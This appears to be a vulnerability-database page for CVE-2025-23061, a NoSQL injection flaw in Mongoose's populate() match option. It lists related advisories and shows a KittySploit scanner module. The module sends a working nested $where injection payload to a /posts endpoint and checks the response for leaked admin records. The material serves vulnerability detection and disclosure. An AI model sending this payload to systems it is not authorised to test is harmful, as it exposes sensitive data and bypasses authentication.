Mongoose - NoSQL Injection Detection
| Reporter | Title | Published | Views | Family All 35 |
|---|---|---|---|---|
| Security Bulletin: IBM watsonx Orchestrate Cartridge affected by vulnerability in Mongoose | 6 May 202519:15 | – | ibm | |
| Security Bulletin: Mongoose Improper Handling of Nested $where in populate() Match Allows Search Injection | 26 Jun 202518:27 | – | ibm | |
| Exploit for Code Injection in Mongoosejs Mongoose | 11 Dec 202507:50 | – | githubexploit | |
| The vulnerability of the populate() function in the Mongoose library allows a hacker to execute arbitrary code and gain access to read and modify data. | 24 Feb 202500:00 | – | bdu_fstec | |
| CVE-2025-23061 | 15 Jan 202504:32 | – | circl | |
| Mongoose 代码注入漏洞 | 15 Jan 202500:00 | – | cnnvd | |
| CVE-2025-23061 | 15 Jan 202500:00 | – | cve | |
| CVE-2025-23061 | 15 Jan 202500:00 | – | cvelist | |
| EUVD-2025-0106 | 15 Jan 202500:00 | – | euvd | |
| Mongoose search injection vulnerability | 15 Jan 202506:30 | – | github |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NoSQL injection vulnerability in Mongoose < 8."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Mongoose - NoSQL Injection Detection',
'description': "NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.",
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2025', 'nosql', 'mongoose', 'nodejs', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc',
'https://github.com/Automattic/mongoose/releases/tag/8.9.5',
'https://github.com/NamhyeonKo/mongoose-cve-lab',
'https://nvd.nist.gov/vuln/detail/CVE-2025-23061',
],
'cve': 'CVE-2025-23061',
}
def run(self):
path = '/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
body_all = ('"isAdmin":true', '"title":', '"username":',)
ctype_any = ('application/json',)
if (all(m in body for m in body_all)) and (any(m in content_type for m in ctype_any)):
self.set_info(
severity='critical',
reason='Mongoose - NoSQL Injection detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19 - 9.8
EPSS0.07284
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